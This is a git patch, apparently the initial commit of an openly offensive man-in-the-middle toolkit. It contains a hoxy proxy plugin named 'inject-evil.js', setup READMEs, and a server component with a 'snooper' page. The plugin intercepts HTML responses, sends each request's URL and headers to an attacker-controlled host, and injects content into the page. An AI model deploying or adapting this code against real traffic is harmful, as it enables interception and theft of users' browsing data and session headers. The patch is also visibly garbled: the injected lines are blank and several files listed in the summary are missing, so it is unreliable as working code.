From 17b2c2acaf230bc8075f410619f40e15d9aec8a4 Mon Sep 17 00:00:00 2001 From: Jann Horn Date: Thu, 29 Aug 2013 23:13:33 +0200 Subject: [PATCH 1/1] initial commit --- LICENSE | 22 ++++++++++++ hoxy/README | 15 ++++++++ hoxy/hoxy-rules.txt | 14 ++++++++ hoxy/inject-evil.js | 24 +++++++++++++ jssrv/README | 13 +++++++ jssrv/jssrv.js | 61 ++++++++++++++++++++++++++++++++ jssrv/package.json | 18 ++++++++++ jssrv/public/injection_script.js | 56 +++++++++++++++++++++++++++++ jssrv/public/snooper.html | 60 +++++++++++++++++++++++++++++++ 9 files changed, 283 insertions(+) create mode 100644 LICENSE create mode 100644 hoxy/README create mode 100644 hoxy/hoxy-rules.txt create mode 100644 hoxy/inject-evil.js create mode 100644 jssrv/README create mode 100755 jssrv/jssrv.js create mode 100644 jssrv/package.json create mode 100644 jssrv/public/injection_script.js create mode 100644 jssrv/public/snooper.html diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..555f710 --- /dev/null +++ b/LICENSE @@ -0,0 +1,22 @@ +Copyright (c) 2013, Jann Horn +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/hoxy/README b/hoxy/README new file mode 100644 index 0000000..f96e012 --- /dev/null +++ b/hoxy/README @@ -0,0 +1,15 @@ +This is the injection-proxy part. Preparation: + +1. create a file "config.txt". contents: + +my_ip= +server_port= + +2. do "npm install hoxy" (this requires nodejs) + +3. copy (or link) + - inject-evil.js to node_modules/hoxy/plugins/inject_evil.js + - hoxy_rules.txt to node_modules/hoxy/hoxy-rules.txt + + +Running: Execute "node_modules/hoxy/bin/hoxy" \ No newline at end of file diff --git a/hoxy/hoxy-rules.txt b/hoxy/hoxy-rules.txt new file mode 100644 index 0000000..e001978 --- /dev/null +++ b/hoxy/hoxy-rules.txt @@ -0,0 +1,14 @@ +# THIS IS AN EXAMPLE FILE THAT CONTAINS EXAMPLE RULES FOR HOXY. +# UNCOMMENT TO ACTIVATE. SEE readme.markdown IN THIS DIR FOR SYNTAX HELP. + +# add a visible banner alerting user of proxy +#response: if $content-type contains 'html', @banner("currently browsing through a web hacking proxy") + +# log every request to a given host +#response: if $hostname eq 'example.com', $url.log() + +# use css and js from the staging server +#request: if $ext eq "js" and $host eq "www.example.com", $host.set-to('www-stage.example.com:83') +#request: if $ext eq "css" and $host eq "www.example.com", $host.set-to('www-stage.example.com:83') + +response: if $content-type contains 'html', @inject-evil() diff --git a/hoxy/inject-evil.js b/hoxy/inject-evil.js new file mode 100644 index 0000000..fd4fcef --- /dev/null +++ b/hoxy/inject-evil.js @@ -0,0 +1,24 @@ +var fs = require('fs') + +var config = fs.readFileSync('config.txt', 'utf8').split('\n').map(function(l) {return l.split('=')}) +var my_ip = config.filter(function(l){return l[0]=='my_ip'})[0][1] +var server_port = config.filter(function(l){return l[0]=='server_port'})[0][1] +var evil_master = my_ip+':'+server_port + +var io = require('socket.io-client').connect('http://'+evil_master) + +exports.run = function(api) { + console.log('injecting...') + var qinf = api.getRequestInfo() + io.emit('request', {url: qinf.absUrl, headers: qinf.headers}) + var body = api.getResponseBody() + var headIndex = body.indexOf('')+6 + if (headIndex == 5) headIndex = 0 + body = body.substr(0, headIndex) + + '\n' + + '\n' + + '\n' + + body.substr(headIndex) + api.setResponseBody(body) + api.notify() +} diff --git a/jssrv/README b/jssrv/README new file mode 100644 index 0000000..21752e7 --- /dev/null +++ b/jssrv/README @@ -0,0 +1,13 @@ +This is the component that handles stuff after the hoxy component +has injected the evil + + + + + + +
+
+ + \ No newline at end of file -- 2.20.1